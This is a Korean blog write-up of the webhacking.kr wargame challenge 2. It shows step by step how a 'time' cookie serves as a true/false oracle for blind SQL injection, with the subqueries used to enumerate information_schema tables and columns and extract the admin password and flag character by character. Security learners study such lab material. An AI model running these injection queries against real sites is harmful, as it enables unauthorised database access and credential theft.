webhacking.kr 2번

younghyun·2021년 12월 16일
0

Webhacking

목록 보기
2/3
post-thumbnail

먼저, 접속 시

이런 화면이 나온다.
이럴 땐, 관리자 도구로 보는 등, 분석을 해본다.
관리자 도구로 확인해 보면

주석으로 날짜와 현재시간이 나와있고, 아랫부분엔

if you access admin.php i will kick your ass

라는 문구가 나와있다.

직역하면, "너가 admin.php에 접근하면 난 너의 엉덩이를 찰 것이다" 정도가 되는데, 이는

admin.php라는 파일이 있기는 하다는 뜻으로도 보인다.

아니나다를까, 주소 admin.php에 접근을 해보니


이런 화면이 나온다.

관리자 도구에서도 별 다른 힌트가 없다.
type your secret password 부분에 아무 값이나 입력을 해보면

당연하겠지만, 틀렸다고 나온다.
원래 화면으로 돌아가서, 조금 더 자세히 관찰할 수 있는 Burf suite로 분석 해보니

쿠키 부분에서 time=1630541910라는 쿠키를 찾을 수 있다.
그리고, 계산해보니 1630541910이란 숫자는 현재 시간이다.
이 time 쿠키의 값을 5로 바꿔보면

기본값이 2070-01-01 09:00:00이 되고, 5초가 추가되었다,
10000을 넣어 봐도,

1만 초가 추가된 모습을 볼 수 있다.
근데, 0을 넣어 보면

건들지 않았을 때인 원래 내 시간으로 변경된다. 값이 False일 경우 time함수를 사용한다고 생각할 수 있다.
우선, 값을 True와 False를 구분할 수 있는 구분점을 찾았다.
현재 내 시간이 출력될 경우 False인 거고, 값이 제대로 들어갈 경우 2070-01-01 09:00:00 에서 초 부분이 값 만큼 올라간 만큼으로 쿠키값이 바뀐다.
즉, true와 false로 값을 구별하는 Blind SQL injection이 먹힐 수 있다는 것이다.
한번, 시험을 해보면

이렇게, 값을 무조건 false가 나오게 만들 시

아니나 다를까, false에 해당하는 현재 시간이 나왔다.
우선, SQL의 query가 먹힌다는 걸 알았으니, 본격적으로 정보를 알아내보면

(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = database())

이런 query를 넣을 시, table의 갯수가 출력된다.
information_schema.tables와 table_schema = database()는, 대상을 가리지 않고, 정보를 뽑을 수 있는 공통적인 부분이다.

초가 2가 됐다는 건, 출력값이 2라는 것이므로 테이블은 2개라는 걸 알 수 있다.
그럼 이제, 테이블의 개수를 알았으니 1번 테이블과 2번 테이블의 이름길이를 각각 알아보면

(select length(table_name) from information_schema.tables where table_schema = database() limit 0,1 )


1번째 테이블은 13글자

(select length(table_name) from information_schema.tables where table_schema = database() limit 1,1 )


2번째 테이블은 3글자 인 걸 알 수 있다.
이제, 테이블의 개수,이름 길이까지 알았으니 테이블의 이름을 알아보면

(select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0, 1);

이건, 1번째 테이블의 첫번째 글자를 ascii값으로 출력하는 query이다.

1분 37초는 변환 시 97이나온다.

(select ascii(substr(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 0, 1);

이런 식으로, 테이블의 길이인 13만큼 반복하면 아래의 13개의 ascii코드가 나온다.

97,100,109,105,110,95,97,114,101,97,95,112,119

아스키코드 표를 보고 변환 시, admin_area_pw인 것을 알 수 있다.
2번째 테이블도 마찬가지로 했을 때, log가 나왔다.

현재까지 알아낸 정보는, 1번째 테이블의 이름은 admin_area_pw이고, 2번째 테이블의 이름은 log, 그리고 테이블 이름으로 추측 시 첫번째 테이블은 유저의 패스워드를 저장, log테이블은 기록을 저장하는 것 같다.
우리는, 패스워드를 알아내어 아까의

이 곳에 로그인 하는 것이 목표이므로, admin_area_pw 테이블의 값을 알아내보면, 먼저

(select count(column_name) from information_schema.columns where table_name = "admin_area_pw")

이 query는 admin_area_pw 테이블의 컬럼 개수를 나타낸다.

컬럼 개수는 1개,

(select length(column_name) from informaiton_schema.columns where table_name = "admin_area_pw")


길이는 2 글자,

(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "admin_area_pw")

2개의 글자를 알아내보면

변환 시 pw가 나온다.
pw 컬럼안의 값을 알아보면,

(select count(pw) from admin_area_pw)

값의 개수를 나타내는 query이다.

값은 1개,

(select length(pw) from admin_area_pw)


값의 길이는 17이다.

(select ascii(substr(pw,1,1)) from admin_area_pw)

이제 아까처럼 하나하나 알아내 보면

107,117,100,111,115,85,116,111,95,98,101,105,115,116,108,97,98

변환 시 kudos_to_beistlab가 된다.
이제, admin.php에 접속해서 kudos_to_beistlab를 입력 해보면


성공!
이 문제는, 1번 문제에서 배운 쿠키와, blind sql injection이라는 개념을 알아야 풀 수 있는 문제 같다.하면서도, information_schema 등 생각보다 어려운 내용도 있긴 했지만, 그만큼 푸는 재미가 있는 문제였던 것 같다. blind sql injection의 개념과, 기초를 잡기 좋은 문제 같다.


추가로, log테이블에는 어떤 게 있을가 싶어서 injection 해 보았는데,

(select count(column_name) from information_schema.columns where table_name = "log")


log 테이블의 컬럼 개수는 2개

(select length(column_name) from information_schema.columns where table_name = "log",limit(1,1))


첫 번째 컬럼의 길이는 2

두 번째 컬럼의 길이는 4

(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = "log" limit 0,1)

첫 번째 컬럼의 이름

105,112

변환 시 ip

두 번째 컬럼의 이름

116,105,109,101

변환 시 time

그 뒤로, 값은 찾아보려고 했으나 false가 나오는 걸 보니, 아직 컬럼만 만들고, 기록은 안 한 것 같다..

profile
보안꿈나무

0개의 댓글